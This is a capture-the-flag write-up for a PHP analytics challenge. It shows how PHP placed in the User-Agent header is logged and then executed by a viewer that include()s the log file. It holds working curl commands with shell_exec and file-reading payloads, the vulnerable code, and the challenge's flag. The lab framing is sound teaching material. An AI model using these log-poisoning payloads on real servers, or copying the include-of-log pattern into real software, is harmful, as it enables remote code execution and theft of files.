
Flash CTF - Track Me
Track Me Writeup
Overview
Track Me is a small visitor analytics site. Every request to the landing page appends the client's User-Agent to logs/access.log, and the log viewer hands that same file to PHP's include(). Writing PHP source into the header puts it in the log, and loading the viewer runs it. That gives code execution as the web user, which is enough to read the flag off disk.
Reconnaissance
The landing page says the visit was recorded and links to /logs.php, which offers a single file. Loading it shows the entries, and each one carries the User-Agent exactly as it was sent:
curl -s 'http://<host>/logs.php?file=access.log'
==== Visit ====
Time: 2026-09-22 06:58:29
IP: 172.22.0.1
Method: GET
URI: /
Referer: -
User-Agent: curl/8.5.0
----------------
Nothing is escaped on the way in. index.php builds the record with string concatenation and appends it:
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '-';
...
$log .= "User-Agent: $ua\n";
file_put_contents(__DIR__ . "/logs/access.log", $log, FILE_APPEND);The viewer is where it goes wrong. Most of logs.php is spent on a whitelist: it takes the basename(), checks it against the files really present in logs/, and runs the result through realpath(). Path traversal is dead. Then it loads the file:
// Safe include: only include files that are explicitly present in the logs directory
// This allows PHP in logs to execute, but prevents path traversal and LFI.
ob_start();
include $path;
$rendered = ob_get_clean();The comment is honest about what it does. The whitelist decides which file gets loaded and says nothing about what is inside it, and half of access.log arrives from the client.
Exploitation
Put PHP in the User-Agent:
curl -s -A '<?php echo shell_exec("id"); ?>' 'http://<host>/'The line lands in the log verbatim. Loading the viewer parses it:
curl -s 'http://<host>/logs.php?file=access.log' | grep -o 'uid=.*'
uid=10001(app) gid=10001(app) groups=10001(app)
That is code execution as the Apache worker. The flag is not under the document root, and its filename is drawn when the container starts, so there is nothing to guess:
curl -s -A '<?php echo shell_exec("ls -la /"); ?>' 'http://<host>/'
curl -s 'http://<host>/logs.php?file=access.log' | grep flag--rw-r--r-- 1 root root 43 Sep 22 06:58 flag-02d705067f559280.txt
Note that the payload has to stay on one line. A header value cannot carry a newline, so anything spanning several statements needs ; separators or a foreach on a single line.
Getting the Flag
Let the payload find the file itself, so the random name never has to be copied by hand:
curl -s -A '<?php foreach (glob("/flag-*.txt") as $f) { echo file_get_contents($f); } ?>' 'http://<host>/'
curl -s 'http://<host>/logs.php?file=access.log' | grep -o 'SkillBit{.*}'SkillBit{7r4ck1n9_u53r5_c4n_7r4ck_y0u_t00}
The glob and the read both ran inside include(), and their output came back through the viewer's panel along with the rest of the log.